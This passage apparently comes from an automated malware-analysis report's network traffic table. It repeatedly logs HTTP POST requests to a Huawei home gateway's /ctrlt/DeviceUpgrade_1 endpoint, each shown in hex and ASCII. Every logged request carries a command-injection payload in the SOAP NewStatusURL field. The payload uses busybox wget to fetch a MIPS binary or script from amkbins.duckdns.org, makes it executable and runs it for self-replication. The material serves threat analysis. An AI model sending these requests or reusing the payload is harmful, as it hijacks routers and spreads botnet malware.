HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
